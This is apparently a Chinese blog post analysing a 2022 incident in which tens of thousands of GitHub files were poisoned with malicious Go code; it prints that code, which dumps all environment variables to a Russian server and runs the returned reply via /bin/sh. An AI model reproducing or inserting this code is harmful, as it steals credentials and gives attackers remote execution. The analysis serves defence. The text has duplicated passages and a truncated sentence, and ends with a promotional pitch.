GitHub中超过3.5万开源代码被投毒

8月3日,GitHub发现大量仓库被注入恶意代码,影响超过3.5万个文件,主要为Go代码和NPM脚本。攻击者可能通过撞库、APIToken泄漏或马甲账号实施。GitHub已清理受污染仓库,建议开发者启用多因素验证和保护API密钥。
摘要由CSDN通过智能技术生成

事件简述

8月3日13时,名为 Stephen Lacy 的工程师在 Twitter 中表示其发现 GitHub
中大量仓库被加入了恶意代码,感染文件超过3.5万,涉及 Go 代码、NPM 安装脚本、容器镜像配置等内容。

  • 被感染的仓库大多数处在长期不维护的状态,star 和 fork 数量基本为0

  • 恶意代码在最早在2019年已经提交进部分仓库,不少仓库是在最近10天左右被感染

  • 信息收集和控制指令的服务地址位于俄罗斯

15时许,GitHub 开始对受影响仓库进行清理,当前受影响仓库已经全部无法访问。

由于被投毒的开源仓库大多无人关注,预计此次事件本身的实际影响较小,但从攻击手法上来看体现了攻击者有较强的工程化利用能力。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ioaW2q74-1692151888283)(https://image.3001.net/images/20220803/1659525811_62ea5ab3a5841a167cac5.png!small)]

ovz1.j19544519作为关键词在 GitHub 中可以搜索到超过3.5万个代码文件的结果。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yie96gc7-1692151888287)(https://image.3001.net/images/20220803/1659525824_62ea5ac0808eb0d8fcee0.png!small)]

最早提交的恶意代码是在2019年:

https://github.com/promonlogicalis/asn1/blob/7bdca06d0edf895069dc25fb60a49c6dae27b916/context.go#L241

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2yPg0wjA-1692151888288)(https://image.3001.net/images/20220803/1659525837_62ea5acd02bd66d268e7e.png!small)]

攻击手法分析

目前官方暂未给出该事件具体原因,对于此事件涉及众多账号,我们猜想可能存在以下三种情况:

  • GitHub 账号撞库

抽样统计可以发现,多个被投毒的账号密码此前已经泄漏,因此可能通过撞库获得账号权限

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BIMu4uHI-1692151888288)(https://image.3001.net/images/20220803/1659525850_62ea5adacb3adae5ee411.png!small)]

  • GitHub API Token 泄漏

攻击者通过收集公开泄漏的 token,从而对仓库进行直接操作。

  • 攻击者注册了一批马甲账号

攻击者可能注册了一批虚假的马甲账号,模仿真实项目,再通过马甲账号发布与原仓库类似的代码。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XIS3pjMV-1692151888289)(https://image.3001.net/images/20220803/1659525861_62ea5ae549dd83739b1b2.png!small)]

恶意代码分析

投毒的仓库大多为 go 的仓库,其中恶意代码如下,逻辑本身较为简单。特殊的是除了恶意代码外,攻击者在 commit
中还加入了「逼真」的注释、license、commit 说明等内容,使得恶意代码更容易隐藏。

攻击者可能通过收集原仓库 commit 信息,而后生成与之相似的结果,例如与代码变更相符的 Update README.md 或 Update
license 提交,体现了攻击者有较强的工程化能力。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CxbbHGcs-1692151888289)(https://image.3001.net/images/20220803/1659525875_62ea5af38b7e017bb1752.png!small)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-s81E0nzL-1692151888290)(https://image.3001.net/images/20220803/1659525886_62ea5afec7b4574f26e02.png!small)]

代码会先尝试获取"e452d6ab"环境变量,如果为"e452d6ab"值为1则直接结束运行。

if os__.Getenv("e452d6ab") == "1" {   
return   
}

``

如果找不到对应的环境变量则设置"e452d6ab"环境变量,防止重复执行,然后将当前环境的环境变量转为 json 格式的变量 env。

os__.Setenv("e452d6ab", "1")   
env, err := json__.Marshal(os__.Environ())   
if err != nil {   
return   
}

``

再将对应的环境变量发送给恶意服务器,环境变量中可能会包含 AWS access keys,Crypto keys 等敏感内容。

res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=gojek-engineering&repo=go-multierror", "application/json", bytes__.NewBuffer(env))   
if err != nil {   
return   
}

``

最后使用 sh 执行恶意服务器的返回内容,为接下来的远程控制服务器,持久化连接,窃取敏感信息等恶意行为做准备。

defer res.Body.Close()   
body, err := ioutil__.ReadAll(res.Body)   
if err != nil {   
return   
}   
if string(body) != "" {   
exec__.Command("/bin/sh", "-c", string(body)).Start()   
}  
}
提供,因此攻击者位于俄罗斯的可能性较高。

# 针对开发者的建议

当前被投毒的仓库已经被 GitHub 官方删除,这些仓库大多无人关注,因此此次事件本身的实际影响较小,开发者在使用开源组件时需要注意甄别。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4y2BkSDx-1692151888291)(https://image.3001.net/images/20220803/1659525907_62ea5b134f9b970a78d6f.png!small)]

从账号安全的角度来看,开发者需要尽量启用多因素验证、避免 API token 的泄漏,防止自己的项目被利用加入恶意代码。

要注意甄别。

[外链图片转存中...(img-4y2BkSDx-1692151888291)]

从账号安全的角度来看,开发者需要尽量启用多因素验证、避免 API token 的泄漏,防止自己的项目被利用加入恶意代码。

## 最后
从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。

干货主要有:

①1000+CTF历届题库(主流和经典的应该都有了)

②CTF技术文档(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里**👉**[网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!](https://mp.weixin.qq.com/s/BWb9OzaB-gVGVpkm161PMw)

扫码领取

<img src="https://hnxx.oss-cn-shanghai.aliyuncs.com/official/1678694737820.png?t=0.6334725112165747" />
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值